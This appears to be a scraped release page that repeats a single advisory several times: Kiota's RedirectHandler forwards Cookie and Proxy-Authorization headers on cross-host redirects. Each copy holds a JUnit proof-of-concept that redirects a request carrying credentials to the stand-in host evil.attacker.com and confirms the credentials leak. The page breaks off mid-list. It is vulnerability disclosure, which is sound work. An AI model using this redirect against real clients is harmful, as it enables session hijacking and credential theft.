boolean sameHost = locationUrl.host().toString().equalsIgnoreCase(requestUrl.host().toString());
if (!sameScheme || !sameHost) {
requestBuilder.removeHeader("Authorization");
// BUG: Cookie, Proxy-Authorization, and all other headers are NOT removed
}

PoC

Clone the repository: git clone --depth 1 https://github.com/microsoft/kiota-java.git cd kiota-java
Create the PoC test file at: components/http/okHttp/src/test/java/com/microsoft/kiota/http/middleware/SecurityPoC.java

With this content:

package com.microsoft.kiota.http.middleware;
import static org.junit.jupiter.api.Assertions.*;
import com.microsoft.kiota.http.KiotaClientFactory;
import okhttp3.*;
import okhttp3.mockwebserver.*;
import org.junit.jupiter.api.Test;

public class SecurityPoC {
@Test
void crossHostRedirectLeaksCookies() throws Exception {
Request original = new Request.Builder()
.url("http://trusted.example.com/api")
.addHeader("Authorization", "Bearer token")
.addHeader("Cookie", "session=SECRET")
.addHeader("Proxy-Authorization", "Basic cHJveHk6cGFzcw==")
.build();
Response redirect = new Response.Builder()
.request(original).protocol(Protocol.HTTP_1_1)
.code(302).message("Found")
.header("Location", "http://evil.attacker.com/steal")
.body(ResponseBody.create("", MediaType.parse("text/plain")))
.build();
Request result = new RedirectHandler().getRedirect(original, redirect);
assertNotNull(result);
assertEquals("evil.attacker.com", result.url().host());
assertNull(result.header("Authorization")); // stripped (good)
assertEquals("session=SECRET", result.header("Cookie")); // LEAKED
assertEquals("Basic cHJveHk6cGFzcw==", result.header("Proxy-Authorization")); // LEAKED
}

@Test
void endToEndProof() throws Exception {
var evil = new MockWebServer();
evil.start();
evil.enqueue(new MockResponse().setResponseCode(200));
var trusted = new MockWebServer();
trusted.start();
trusted.enqueue(new MockResponse().setResponseCode(302)
.setHeader("Location", evil.url("/steal")));
OkHttpClient client = KiotaClientFactory.create(
new Interceptor[]{new RedirectHandler()}).build();
client.newCall(new Request.Builder().url(trusted.url("/api"))
.addHeader("Cookie", "session=SECRET").build()).execute();
trusted.takeRequest();
RecordedRequest captured = evil.takeRequest();
assertEquals("session=SECRET", captured.getHeader("Cookie")); // LEAKED to evil server
evil.shutdown();
trusted.shutdown();
}
}

Run the tests: ./gradlew :components:http:okHttp:test --tests "com.microsoft.kiota.http.middleware.SecurityPoC"
Result: BUILD SUCCESSFUL, 2 tests passed, 0 failures. Both tests confirm Cookie and Proxy-Authorization headers are sent to the attacker's server on cross-host redirect.

Impact

The kiota-java bug is more severe because it leaks ALL sensitive headers simultaneously (Cookie + Proxy-Authorization + custom auth headers), not just one type.

Attack scenario: An attacker who can trigger a cross-origin redirect from a trusted API (via open redirect, MITM, or DNS rebinding) captures the victim's session cookies, proxy credentials, and API keys from the redirected request.

Impact:

Session hijacking via leaked Cookie headers
Corporate proxy credential theft via leaked Proxy-Authorization
API key theft via leaked custom auth headers (X-API-Key, etc.)

All consumers of kiota-java are affected, including Microsoft Graph SDK for Java.

Affected versions


          1.0.0


          1.0.1


          1.1.0


          1.1.1


          1.1.2


          1.1.3


          1.1.4


          1.10.0


          1.10.1


          1.11.0


          1.11.1


          1.11.2

+ 76 more


            1.11.3


            1.12.0


            1.12.1


            1.12.2


            1.12.3


            1.12.4


            1.13.0


            1.13.1


            1.13.2


            1.14.0


            1.15.0


            1.15.1


            1.15.2


            1.16.0


            1.16.1


            1.16.2


            1.16.3


            1.16.4


            1.17.0


            1.17.1


            1.17.2


            1.17.3


            1.17.4


            1.18.0


            1.19.0


            1.19.1


            1.2.0


            1.2.1


            1.20.0


            1.20.1


            1.21.0


            1.21.1


            1.21.2


            1.21.3


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.4.0


            1.5.0


            1.6.0


            1.6.1


            1.7.0


            1.7.1


            1.7.10


            1.7.11


            1.7.12


            1.7.2


            1.7.3


            1.7.4


            1.7.5


            1.7.6


            1.7.7


            1.7.8


            1.7.9


            1.8.0


            1.8.1


            1.8.2


            1.8.3


            1.8.4


            1.9.0


            1.9.1


            1.9.10


            1.9.11


            1.9.12


            1.9.2


            1.9.3


            1.9.4


            1.9.5


            1.9.6


            1.9.7


            1.9.8


            1.9.8-preview


            1.9.9

Fixed in


          1.22.0

References

Updated Sep 10, 2026 · Source: OSV.dev

Jan 07, 2025

1.16.1 patch

1 CVE

CVE-2026-44503 GHSA-7j59-v9qr-6fq9 GO-2026-5224 PYSEC-2026-2647 May 07, 2026

Kiota abstractions RedirectHandler leaks Cookie/Proxy-Authorization headers on cross-host redirect

High

Network Low None

Summary

The RedirectHandler middleware in microsoft/kiota-java (com.microsoft.kiota:microsoft-kiota-http-okHttp v1.9.0) and other Kiota libraries fails to strip sensitive HTTP headers when following 3xx redirects to a different host or scheme.

This vulnerability is present in the RedirectHandlers for:

https://github.com/microsoft/kiota-dotnet https://github.com/microsoft/kiota-java https://github.com/microsoft/kiota-python https://github.com/microsoft/kiota-typescript https://github.com/microsoft/kiota-http-go

Details

Only the Authorization header is removed; Cookie, Proxy-Authorization, and all custom headers are forwarded to the redirect target.

This is the default middleware in every kiota-java HTTP client created via KiotaClientFactory.create(). OkHttp's built-in redirect handler (which handles this correctly) is explicitly disabled at line 63 of KiotaClientFactory.java in favor of kiota's broken implementation.

Vulnerable code in RedirectHandler.java lines 107-116 (getRedirect method) in versions 1.90 and earlier:

boolean sameScheme = locationUrl.scheme().equalsIgnoreCase(requestUrl.scheme());
boolean sameHost = locationUrl.host().toString().equalsIgnoreCase(requestUrl.host().toString());
if (!sameScheme || !sameHost) {
requestBuilder.removeHeader("Authorization");
// BUG: Cookie, Proxy-Authorization, and all other headers are NOT removed
}

PoC

Clone the repository: git clone --depth 1 https://github.com/microsoft/kiota-java.git cd kiota-java
Create the PoC test file at: components/http/okHttp/src/test/java/com/microsoft/kiota/http/middleware/SecurityPoC.java

With this content:

package com.microsoft.kiota.http.middleware;
import static org.junit.jupiter.api.Assertions.*;
import com.microsoft.kiota.http.KiotaClientFactory;
import okhttp3.*;
import okhttp3.mockwebserver.*;
import org.junit.jupiter.api.Test;

public class SecurityPoC {
@Test
void crossHostRedirectLeaksCookies() throws Exception {
Request original = new Request.Builder()
.url("http://trusted.example.com/api")
.addHeader("Authorization", "Bearer token")
.addHeader("Cookie", "session=SECRET")
.addHeader("Proxy-Authorization", "Basic cHJveHk6cGFzcw==")
.build();
Response redirect = new Response.Builder()
.request(original).protocol(Protocol.HTTP_1_1)
.code(302).message("Found")
.header("Location", "http://evil.attacker.com/steal")
.body(ResponseBody.create("", MediaType.parse("text/plain")))
.build();
Request result = new RedirectHandler().getRedirect(original, redirect);
assertNotNull(result);
assertEquals("evil.attacker.com", result.url().host());
assertNull(result.header("Authorization")); // stripped (good)
assertEquals("session=SECRET", result.header("Cookie")); // LEAKED
assertEquals("Basic cHJveHk6cGFzcw==", result.header("Proxy-Authorization")); // LEAKED
}

@Test
void endToEndProof() throws Exception {
var evil = new MockWebServer();
evil.start();
evil.enqueue(new MockResponse().setResponseCode(200));
var trusted = new MockWebServer();
trusted.start();
trusted.enqueue(new MockResponse().setResponseCode(302)
.setHeader("Location", evil.url("/steal")));
OkHttpClient client = KiotaClientFactory.create(
new Interceptor[]{new RedirectHandler()}).build();
client.newCall(new Request.Builder().url(trusted.url("/api"))
.addHeader("Cookie", "session=SECRET").build()).execute();
trusted.takeRequest();
RecordedRequest captured = evil.takeRequest();
assertEquals("session=SECRET", captured.getHeader("Cookie")); // LEAKED to evil server
evil.shutdown();
trusted.shutdown();
}
}

Run the tests: ./gradlew :components:http:okHttp:test --tests "com.microsoft.kiota.http.middleware.SecurityPoC"
Result: BUILD SUCCESSFUL, 2 tests passed, 0 failures. Both tests confirm Cookie and Proxy-Authorization headers are sent to the attacker's server on cross-host redirect.

Impact

The kiota-java bug is more severe because it leaks ALL sensitive headers simultaneously (Cookie + Proxy-Authorization + custom auth headers), not just one type.

Attack scenario: An attacker who can trigger a cross-origin redirect from a trusted API (via open redirect, MITM, or DNS rebinding) captures the victim's session cookies, proxy credentials, and API keys from the redirected request.

Impact:

Session hijacking via leaked Cookie headers
Corporate proxy credential theft via leaked Proxy-Authorization
API key theft via leaked custom auth headers (X-API-Key, etc.)

All consumers of kiota-java are affected, including Microsoft Graph SDK for Java.

Affected versions


          1.0.0


          1.0.1


          1.1.0


          1.1.1


          1.1.2


          1.1.3


          1.1.4


          1.10.0


          1.10.1


          1.11.0


          1.11.1


          1.11.2

+ 76 more


            1.11.3


            1.12.0


            1.12.1


            1.12.2


            1.12.3


            1.12.4


            1.13.0


            1.13.1


            1.13.2


            1.14.0


            1.15.0


            1.15.1


            1.15.2


            1.16.0


            1.16.1


            1.16.2


            1.16.3


            1.16.4


            1.17.0


            1.17.1


            1.17.2


            1.17.3


            1.17.4


            1.18.0


            1.19.0


            1.19.1


            1.2.0


            1.2.1


            1.20.0


            1.20.1


            1.21.0


            1.21.1


            1.21.2


            1.21.3


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.4.0


            1.5.0


            1.6.0


            1.6.1


            1.7.0


            1.7.1


            1.7.10


            1.7.11


            1.7.12


            1.7.2


            1.7.3


            1.7.4


            1.7.5


            1.7.6


            1.7.7


            1.7.8


            1.7.9


            1.8.0


            1.8.1


            1.8.2


            1.8.3


            1.8.4


            1.9.0


            1.9.1


            1.9.10


            1.9.11


            1.9.12


            1.9.2


            1.9.3


            1.9.4


            1.9.5


            1.9.6


            1.9.7


            1.9.8


            1.9.8-preview


            1.9.9

Fixed in


          1.22.0

References

Updated Sep 10, 2026 · Source: OSV.dev

Dec 19, 2024

1.16.0 minor

1 CVE

CVE-2026-44503 GHSA-7j59-v9qr-6fq9 GO-2026-5224 PYSEC-2026-2647 May 07, 2026

Kiota abstractions RedirectHandler leaks Cookie/Proxy-Authorization headers on cross-host redirect

High

Network Low None

Summary

The RedirectHandler middleware in microsoft/kiota-java (com.microsoft.kiota:microsoft-kiota-http-okHttp v1.9.0) and other Kiota libraries fails to strip sensitive HTTP headers when following 3xx redirects to a different host or scheme.

This vulnerability is present in the RedirectHandlers for:

https://github.com/microsoft/kiota-dotnet https://github.com/microsoft/kiota-java https://github.com/microsoft/kiota-python https://github.com/microsoft/kiota-typescript https://github.com/microsoft/kiota-http-go

Details

Only the Authorization header is removed; Cookie, Proxy-Authorization, and all custom headers are forwarded to the redirect target.

This is the default middleware in every kiota-java HTTP client created via KiotaClientFactory.create(). OkHttp's built-in redirect handler (which handles this correctly) is explicitly disabled at line 63 of KiotaClientFactory.java in favor of kiota's broken implementation.

Vulnerable code in RedirectHandler.java lines 107-116 (getRedirect method) in versions 1.90 and earlier:

boolean sameScheme = locationUrl.scheme().equalsIgnoreCase(requestUrl.scheme());
boolean sameHost = locationUrl.host().toString().equalsIgnoreCase(requestUrl.host().toString());
if (!sameScheme || !sameHost) {
requestBuilder.removeHeader("Authorization");
// BUG: Cookie, Proxy-Authorization, and all other headers are NOT removed
}

PoC

Clone the repository: git clone --depth 1 https://github.com/microsoft/kiota-java.git cd kiota-java
Create the PoC test file at: components/http/okHttp/src/test/java/com/microsoft/kiota/http/middleware/SecurityPoC.java

With this content:

package com.microsoft.kiota.http.middleware;
import static org.junit.jupiter.api.Assertions.*;
import com.microsoft.kiota.http.KiotaClientFactory;
import okhttp3.*;
import okhttp3.mockwebserver.*;
import org.junit.jupiter.api.Test;

public class SecurityPoC {
@Test
void crossHostRedirectLeaksCookies() throws Exception {
Request original = new Request.Builder()
.url("http://trusted.example.com/api")
.addHeader("Authorization", "Bearer token")
.addHeader("Cookie", "session=SECRET")
.addHeader("Proxy-Authorization", "Basic cHJveHk6cGFzcw==")
.build();
Response redirect = new Response.Builder()
.request(original).protocol(Protocol.HTTP_1_1)
.code(302).message("Found")
.header("Location", "http://evil.attacker.com/steal")
.body(ResponseBody.create("", MediaType.parse("text/plain")))
.build();
Request result = new RedirectHandler().getRedirect(original, redirect);
assertNotNull(result);
assertEquals("evil.attacker.com", result.url().host());
assertNull(result.header("Authorization")); // stripped (good)
assertEquals("session=SECRET", result.header("Cookie")); // LEAKED
assertEquals("Basic cHJveHk6cGFzcw==", result.header("Proxy-Authorization")); // LEAKED
}

@Test
void endToEndProof() throws Exception {
var evil = new MockWebServer();
evil.start();
evil.enqueue(new MockResponse().setResponseCode(200));
var trusted = new MockWebServer();
trusted.start();
trusted.enqueue(new MockResponse().setResponseCode(302)
.setHeader("Location", evil.url("/steal")));
OkHttpClient client = KiotaClientFactory.create(
new Interceptor[]{new RedirectHandler()}).build();
client.newCall(new Request.Builder().url(trusted.url("/api"))
.addHeader("Cookie", "session=SECRET").build()).execute();
trusted.takeRequest();
RecordedRequest captured = evil.takeRequest();
assertEquals("session=SECRET", captured.getHeader("Cookie")); // LEAKED to evil server
evil.shutdown();
trusted.shutdown();
}
}

Run the tests: ./gradlew :components:http:okHttp:test --tests "com.microsoft.kiota.http.middleware.SecurityPoC"
Result: BUILD SUCCESSFUL, 2 tests passed, 0 failures. Both tests confirm Cookie and Proxy-Authorization headers are sent to the attacker's server on cross-host redirect.

Impact

The kiota-java bug is more severe because it leaks ALL sensitive headers simultaneously (Cookie + Proxy-Authorization + custom auth headers), not just one type.

Attack scenario: An attacker who can trigger a cross-origin redirect from a trusted API (via open redirect, MITM, or DNS rebinding) captures the victim's session cookies, proxy credentials, and API keys from the redirected request.

Impact:

Session hijacking via leaked Cookie headers
Corporate proxy credential theft via leaked Proxy-Authorization
API key theft via leaked custom auth headers (X-API-Key, etc.)

All consumers of kiota-java are affected, including Microsoft Graph SDK for Java.

Affected versions


          1.0.0


          1.0.1


          1.1.0


          1.1.1


          1.1.2


          1.1.3


          1.1.4


          1.10.0


          1.10.1


          1.11.0


          1.11.1


          1.11.2

+ 76 more


            1.11.3


            1.12.0


            1.12.1


            1.12.2


            1.12.3


            1.12.4


            1.13.0


            1.13.1


            1.13.2


            1.14.0


            1.15.0


            1.15.1


            1.15.2


            1.16.0


            1.16.1


            1.16.2


            1.16.3


            1.16.4


            1.17.0


            1.17.1


            1.17.2


            1.17.3


            1.17.4


            1.18.0


            1.19.0


            1.19.1


            1.2.0


            1.2.1


            1.20.0


            1.20.1


            1.21.0


            1.21.1


            1.21.2


            1.21.3


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.4.0


            1.5.0


            1.6.0


            1.6.1


            1.7.0


            1.7.1


            1.7.10


            1.7.11


            1.7.12


            1.7.2


            1.7.3


            1.7.4


            1.7.5


            1.7.6


            1.7.7


            1.7.8


            1.7.9


            1.8.0


            1.8.1


            1.8.2


            1.8.3


            1.8.4


            1.9.0


            1.9.1


            1.9.10


            1.9.11


            1.9.12


            1.9.2


            1.9.3


            1.9.4


            1.9.5


            1.9.6


            1.9.7


            1.9.8


            1.9.8-preview


            1.9.9

Fixed in


          1.22.0

References

Updated Sep 10, 2026 · Source: OSV.dev

Dec 13, 2024

1.15.2 patch

1 CVE

CVE-2026-44503 GHSA-7j59-v9qr-6fq9 GO-2026-5224 PYSEC-2026-2647 May 07, 2026

Kiota abstractions RedirectHandler leaks Cookie/Proxy-Authorization headers on cross-host redirect

High

Network Low None

Summary

The RedirectHandler middleware in microsoft/kiota-java (com.microsoft.kiota:microsoft-kiota-http-okHttp v1.9.0) and other Kiota libraries fails to strip sensitive HTTP headers when following 3xx redirects to a different host or scheme.

This vulnerability is present in the RedirectHandlers for:

https://github.com/microsoft/kiota-dotnet https://github.com/microsoft/kiota-java https://github.com/microsoft/kiota-python https://github.com/microsoft/kiota-typescript https://github.com/microsoft/kiota-http-go

Details

Only the Authorization header is removed; Cookie, Proxy-Authorization, and all custom headers are forwarded to the redirect target.

This is the default middleware in every kiota-java HTTP client created via KiotaClientFactory.create(). OkHttp's built-in redirect handler (which handles this correctly) is explicitly disabled at line 63 of KiotaClientFactory.java in favor of kiota's broken implementation.

Vulnerable code in RedirectHandler.java lines 107-116 (getRedirect method) in versions 1.90 and earlier:

boolean sameScheme = locationUrl.scheme().equalsIgnoreCase(requestUrl.scheme());
boolean sameHost = locationUrl.host().toString().equalsIgnoreCase(requestUrl.host().toString());
if (!sameScheme || !sameHost) {
requestBuilder.removeHeader("Authorization");
// BUG: Cookie, Proxy-Authorization, and all other headers are NOT removed
}

PoC

Clone the repository: git clone --depth 1 https://github.com/microsoft/kiota-java.git cd kiota-java
Create the PoC test file at: components/http/okHttp/src/test/java/com/microsoft/kiota/http/middleware/SecurityPoC.java

With this content:

package com.microsoft.kiota.http.middleware;
import static org.junit.jupiter.api.Assertions.*;
import com.microsoft.kiota.http.KiotaClientFactory;
import okhttp3.*;
import okhttp3.mockwebserver.*;
import org.junit.jupiter.api.Test;

public class SecurityPoC {
@Test
void crossHostRedirectLeaksCookies() throws Exception {
Request original = new Request.Builder()
.url("http://trusted.example.com/api")
.addHeader("Authorization", "Bearer token")
.addHeader("Cookie", "session=SECRET")
.addHeader("Proxy-Authorization", "Basic cHJveHk6cGFzcw==")
.build();
Response redirect = new Response.Builder()
.request(original).protocol(Protocol.HTTP_1_1)
.code(302).message("Found")
.header("Location", "http://evil.attacker.com/steal")
.body(ResponseBody.create("", MediaType.parse("text/plain")))
.build();
Request result = new RedirectHandler().getRedirect(original, redirect);
assertNotNull(result);
assertEquals("evil.attacker.com", result.url().host());
assertNull(result.header("Authorization")); // stripped (good)
assertEquals("session=SECRET", result.header("Cookie")); // LEAKED
assertEquals("Basic cHJveHk6cGFzcw==", result.header("Proxy-Authorization")); // LEAKED
}

@Test
void endToEndProof() throws Exception {
var evil = new MockWebServer();
evil.start();
evil.enqueue(new MockResponse().setResponseCode(200));
var trusted = new MockWebServer();
trusted.start();
trusted.enqueue(new MockResponse().setResponseCode(302)
.setHeader("Location", evil.url("/steal")));
OkHttpClient client = KiotaClientFactory.create(
new Interceptor[]{new RedirectHandler()}).build();
client.newCall(new Request.Builder().url(trusted.url("/api"))
.addHeader("Cookie", "session=SECRET").build()).execute();
trusted.takeRequest();
RecordedRequest captured = evil.takeRequest();
assertEquals("session=SECRET", captured.getHeader("Cookie")); // LEAKED to evil server
evil.shutdown();
trusted.shutdown();
}
}

Run the tests: ./gradlew :components:http:okHttp:test --tests "com.microsoft.kiota.http.middleware.SecurityPoC"
Result: BUILD SUCCESSFUL, 2 tests passed, 0 failures. Both tests confirm Cookie and Proxy-Authorization headers are sent to the attacker's server on cross-host redirect.

Impact

The kiota-java bug is more severe because it leaks ALL sensitive headers simultaneously (Cookie + Proxy-Authorization + custom auth headers), not just one type.

Attack scenario: An attacker who can trigger a cross-origin redirect from a trusted API (via open redirect, MITM, or DNS rebinding) captures the victim's session cookies, proxy credentials, and API keys from the redirected request.

Impact:

Session hijacking via leaked Cookie headers
Corporate proxy credential theft via leaked Proxy-Authorization
API key theft via leaked custom auth headers (X-API-Key, etc.)

All consumers of kiota-java are affected, including Microsoft Graph SDK for Java.

Affected versions


          1.0.0


          1.0.1


          1.1.0


          1.1.1


          1.1.2


          1.1.3


          1.1.4


          1.10.0


          1.10.1


          1.11.0


          1.11.1


          1.11.2

+ 76 more


            1.11.3


            1.12.0


            1.12.1


            1.12.2


            1.12.3


            1.12.4


            1.13.0


            1.13.1


            1.13.2


            1.14.0


            1.15.0


            1.15.1


            1.15.2


            1.16.0


            1.16.1


            1.16.2


            1.16.3


            1.16.4


            1.17.0


            1.17.1


            1.17.2


            1.17.3


            1.17.4


            1.18.0


            1.19.0


            1.19.1


            1.2.0


            1.2.1


            1.20.0


            1.20.1


            1.21.0


            1.21.1


            1.21.2


            1.21.3


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.4.0


            1.5.0


            1.6.0


            1.6.1


            1.7.0


            1.7.1


            1.7.10


            1.7.11


            1.7.12


            1.7.2


            1.7.3


            1.7.4


            1.7.5


            1.7.6


            1.7.7


            1.7.8


            1.7.9


            1.8.0


            1.8.1


            1.8.2


            1.8.3


            1.8.4


            1.9.0


            1.9.1


            1.9.10


            1.9.11


            1.9.12


            1.9.2


            1.9.3


            1.9.4


            1.9.5


            1.9.6


            1.9.7


            1.9.8


            1.9.8-preview


            1.9.9

Fixed in


          1.22.0

References

Updated Sep 10, 2026 · Source: OSV.dev

Nov 14, 2024

1.15.1 patch

1 CVE

CVE-2026-44503 GHSA-7j59-v9qr-6fq9 GO-2026-5224 PYSEC-2026-2647 May 07, 2026

Kiota abstractions RedirectHandler leaks Cookie/Proxy-Authorization headers on cross-host redirect

High

Network Low None

Summary

The RedirectHandler middleware in microsoft/kiota-java (com.microsoft.kiota:microsoft-kiota-http-okHttp v1.9.0) and other Kiota libraries fails to strip sensitive HTTP headers when following 3xx redirects to a different host or scheme.

This vulnerability is present in the RedirectHandlers for:

https://github.com/microsoft/kiota-dotnet https://github.com/microsoft/kiota-java https://github.com/microsoft/kiota-python https://github.com/microsoft/kiota-typescript https://github.com/microsoft/kiota-http-go

Details

Only the Authorization header is removed; Cookie, Proxy-Authorization, and all custom headers are forwarded to the redirect target.

This is the default middleware in every kiota-java HTTP client created via KiotaClientFactory.create(). OkHttp's built-in redirect handler (which handles this correctly) is explicitly disabled at line 63 of KiotaClientFactory.java in favor of kiota's broken implementation.

Vulnerable code in RedirectHandler.java lines 107-116 (getRedirect method) in versions 1.90 and earlier:

boolean sameScheme = locationUrl.scheme().equalsIgnoreCase(requestUrl.scheme());
boolean sameHost = locationUrl.host().toString().equalsIgnoreCase(requestUrl.host().toString());
if (!sameScheme || !sameHost) {
requestBuilder.removeHeader("Authorization");
// BUG: Cookie, Proxy-Authorization, and all other headers are NOT removed
}

PoC

Clone the repository: git clone --depth 1 https://github.com/microsoft/kiota-java.git cd kiota-java
Create the PoC test file at: components/http/okHttp/src/test/java/com/microsoft/kiota/http/middleware/SecurityPoC.java

With this content:

package com.microsoft.kiota.http.middleware;
import static org.junit.jupiter.api.Assertions.*;
import com.microsoft.kiota.http.KiotaClientFactory;
import okhttp3.*;
import okhttp3.mockwebserver.*;
import org.junit.jupiter.api.Test;

public class SecurityPoC {
@Test
void crossHostRedirectLeaksCookies() throws Exception {
Request original = new Request.Builder()
.url("http://trusted.example.com/api")
.addHeader("Authorization", "Bearer token")
.addHeader("Cookie", "session=SECRET")
.addHeader("Proxy-Authorization", "Basic cHJveHk6cGFzcw==")
.build();
Response redirect = new Response.Builder()
.request(original).protocol(Protocol.HTTP_1_1)
.code(302).message("Found")
.header("Location", "http://evil.attacker.com/steal")
.body(ResponseBody.create("", MediaType.parse("text/plain")))
.build();
Request result = new RedirectHandler().getRedirect(original, redirect);
assertNotNull(result);
assertEquals("evil.attacker.com", result.url().host());
assertNull(result.header("Authorization")); // stripped (good)
assertEquals("session=SECRET", result.header("Cookie")); // LEAKED
assertEquals("Basic cHJveHk6cGFzcw==", result.header("Proxy-Authorization")); // LEAKED
}

@Test
void endToEndProof() throws Exception {
var evil = new MockWebServer();
evil.start();
evil.enqueue(new MockResponse().setResponseCode(200));
var trusted = new MockWebServer();
trusted.start();
trusted.enqueue(new MockResponse().setResponseCode(302)
.setHeader("Location", evil.url("/steal")));
OkHttpClient client = KiotaClientFactory.create(
new Interceptor[]{new RedirectHandler()}).build();
client.newCall(new Request.Builder().url(trusted.url("/api"))
.addHeader("Cookie", "session=SECRET").build()).execute();
trusted.takeRequest();
RecordedRequest captured = evil.takeRequest();
assertEquals("session=SECRET", captured.getHeader("Cookie")); // LEAKED to evil server
evil.shutdown();
trusted.shutdown();
}
}

Run the tests: ./gradlew :components:http:okHttp:test --tests "com.microsoft.kiota.http.middleware.SecurityPoC"
Result: BUILD SUCCESSFUL, 2 tests passed, 0 failures. Both tests confirm Cookie and Proxy-Authorization headers are sent to the attacker's server on cross-host redirect.

Impact

The kiota-java bug is more severe because it leaks ALL sensitive headers simultaneously (Cookie + Proxy-Authorization + custom auth headers), not just one type.

Attack scenario: An attacker who can trigger a cross-origin redirect from a trusted API (via open redirect, MITM, or DNS rebinding) captures the victim's session cookies, proxy credentials, and API keys from the redirected request.

Impact:

Session hijacking via leaked Cookie headers
Corporate proxy credential theft via leaked Proxy-Authorization
API key theft via leaked custom auth headers (X-API-Key, etc.)

All consumers of kiota-java are affected, including Microsoft Graph SDK for Java.

Affected versions


          1.0.0


          1.0.1


          1.1.0


          1.1.1


          1.1.2


          1.1.3


          1.1.4


          1.10.0


          1.10.1


          1.11.0


          1.11.1


          1.11.2

+ 76 more


            1.11.3


            1.12.0


            1.12.1


            1.12.2


            1.12.3


            1.12.4


            1.13.0


            1.13.1


            1.13.2


            1.14.0


            1.15.0


            1.15.1


            1.15.2


            1.16.0


            1.16.1


            1.16.2


            1.16.3


            1.16.4


            1.17.0


            1.17.1


            1.17.2


            1.17.3


            1.17.4


            1.18.0


            1.19.0


            1.19.1


            1.2.0


            1.2.1


            1.20.0


            1.20.1


            1.21.0


            1.21.1


            1.21.2


            1.21.3


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.4.0


            1.5.0


            1.6.0


            1.6.1


            1.7.0


            1.7.1


            1.7.10


            1.7.11


            1.7.12


            1.7.2


            1.7.3


            1.7.4


            1.7.5


            1.7.6


            1.7.7


            1.7.8


            1.7.9


            1.8.0


            1.8.1


            1.8.2


            1.8.3


            1.8.4


            1.9.0


            1.9.1


            1.9.10


            1.9.11


            1.9.12


            1.9.2


            1.9.3


            1.9.4


            1.9.5


            1.9.6


            1.9.7


            1.9.8


            1.9.8-preview


            1.9.9

Fixed in


          1.22.0

References

Updated Sep 10, 2026 · Source: OSV.dev

Nov 14, 2024

1.15.0 minor

1 CVE

CVE-2026-44503 GHSA-7j59-v9qr-6fq9 GO-2026-5224 PYSEC-2026-2647 May 07, 2026

Kiota abstractions RedirectHandler leaks Cookie/Proxy-Authorization headers on cross-host redirect

High

Network Low None

Summary

The RedirectHandler middleware in microsoft/kiota-java (com.microsoft.kiota:microsoft-kiota-http-okHttp v1.9.0) and other Kiota libraries fails to strip sensitive HTTP headers when following 3xx redirects to a different host or scheme.

This vulnerability is present in the RedirectHandlers for:

https://github.com/microsoft/kiota-dotnet https://github.com/microsoft/kiota-java https://github.com/microsoft/kiota-python https://github.com/microsoft/kiota-typescript https://github.com/microsoft/kiota-http-go

Details

Only the Authorization header is removed; Cookie, Proxy-Authorization, and all custom headers are forwarded to the redirect target.

This is the default middleware in every kiota-java HTTP client created via KiotaClientFactory.create(). OkHttp's built-in redirect handler (which handles this correctly) is explicitly disabled at line 63 of KiotaClientFactory.java in favor of kiota's broken implementation.

Vulnerable code in RedirectHandler.java lines 107-116 (getRedirect method) in versions 1.90 and earlier:

boolean sameScheme = locationUrl.scheme().equalsIgnoreCase(requestUrl.scheme());
boolean sameHost = locationUrl.host().toString().equalsIgnoreCase(requestUrl.host().toString());
if (!sameScheme || !sameHost) {
requestBuilder.removeHeader("Authorization");
// BUG: Cookie, Proxy-Authorization, and all other headers are NOT removed
}

PoC

Clone the repository: git clone --depth 1 https://github.com/microsoft/kiota-java.git cd kiota-java
Create the PoC test file at: components/http/okHttp/src/test/java/com/microsoft/kiota/http/middleware/SecurityPoC.java

With this content:

package com.microsoft.kiota.http.middleware;
import static org.junit.jupiter.api.Assertions.*;
import com.microsoft.kiota.http.KiotaClientFactory;
import okhttp3.*;
import okhttp3.mockwebserver.*;
import org.junit.jupiter.api.Test;

public class SecurityPoC {
@Test
void crossHostRedirectLeaksCookies() throws Exception {
Request original = new Request.Builder()
.url("http://trusted.example.com/api")
.addHeader("Authorization", "Bearer token")
.addHeader("Cookie", "session=SECRET")
.addHeader("Proxy-Authorization", "Basic cHJveHk6cGFzcw==")
.build();
Response redirect = new Response.Builder()
.request(original).protocol(Protocol.HTTP_1_1)
.code(302).message("Found")
.header("Location", "http://evil.attacker.com/steal")
.body(ResponseBody.create("", MediaType.parse("text/plain")))
.build();
Request result = new RedirectHandler().getRedirect(original, redirect);
assertNotNull(result);
assertEquals("evil.attacker.com", result.url().host());
assertNull(result.header("Authorization")); // stripped (good)
assertEquals("session=SECRET", result.header("Cookie")); // LEAKED
assertEquals("Basic cHJveHk6cGFzcw==", result.header("Proxy-Authorization")); // LEAKED
}

@Test
void endToEndProof() throws Exception {
var evil = new MockWebServer();
evil.start();
evil.enqueue(new MockResponse().setResponseCode(200));
var trusted = new MockWebServer();
trusted.start();
trusted.enqueue(new MockResponse().setResponseCode(302)
.setHeader("Location", evil.url("/steal")));
OkHttpClient client = KiotaClientFactory.create(
new Interceptor[]{new RedirectHandler()}).build();
client.newCall(new Request.Builder().url(trusted.url("/api"))
.addHeader("Cookie", "session=SECRET").build()).execute();
trusted.takeRequest();
RecordedRequest captured = evil.takeRequest();
assertEquals("session=SECRET", captured.getHeader("Cookie")); // LEAKED to evil server
evil.shutdown();
trusted.shutdown();
}
}

Run the tests: ./gradlew :components:http:okHttp:test --tests "com.microsoft.kiota.http.middleware.SecurityPoC"
Result: BUILD SUCCESSFUL, 2 tests passed, 0 failures. Both tests confirm Cookie and Proxy-Authorization headers are sent to the attacker's server on cross-host redirect.

Impact

The kiota-java bug is more severe because it leaks ALL sensitive headers simultaneously (Cookie + Proxy-Authorization + custom auth headers), not just one type.

Attack scenario: An attacker who can trigger a cross-origin redirect from a trusted API (via open redirect, MITM, or DNS rebinding) captures the victim's session cookies, proxy credentials, and API keys from the redirected request.

Impact:

Session hijacking via leaked Cookie headers
Corporate proxy credential theft via leaked Proxy-Authorization
API key theft via leaked custom auth headers (X-API-Key, etc.)

All consumers of kiota-java are affected, including Microsoft Graph SDK for Java.

Affected versions


          1.0.0


          1.0.1


          1.1.0


          1.1.1


          1.1.2


          1.1.3


          1.1.4


          1.10.0


          1.10.1


          1.11.0


          1.11.1


          1.11.2

+ 76 more


            1.11.3


            1.12.0


            1.12.1


            1.12.2


            1.12.3


            1.12.4


            1.13.0


            1.13.1


